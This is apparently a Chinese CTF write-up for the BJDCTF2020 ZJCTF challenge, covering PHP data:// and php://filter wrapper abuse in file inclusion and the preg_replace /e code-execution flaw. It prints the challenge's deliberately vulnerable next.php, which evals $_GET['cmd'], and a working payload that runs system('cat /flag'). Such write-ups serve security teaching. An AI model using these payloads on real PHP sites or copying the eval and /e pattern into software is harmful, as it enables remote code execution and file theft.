[BJDCTF2020]ZJCTF,不過如此(php偽協議,data偽協議,preg_replace /e漏洞)

前方是否可導?發表於2020-10-04

在這裡插入圖片描述
偽協議常用在檔案包含漏洞中.
常見的檔案包含函式有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile.
具體的函式功能可以參考.
偽協議的學習
通過data協議構造 data://text/plain,I have a dream
通過php協議構造 php://filter/convert.base64-encode/resource=next.php
訪問
在這裡插入圖片描述
得到next.php原始碼

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

接著是preg_replace /e模式下的漏洞.
這裡會在匹配成功後執行’strtolower("\1")‘操作.而""裡面的東西會解釋執行,而’\1’,即’\1’在正規表示式中表示第一個子匹配項.
具體可以參考
深入研究preg_replace與程式碼執行
構造payload
\S*=${getFlag()}&cmd=system(‘cat /flag’);(這裡不要把’;'忘了)

相關文章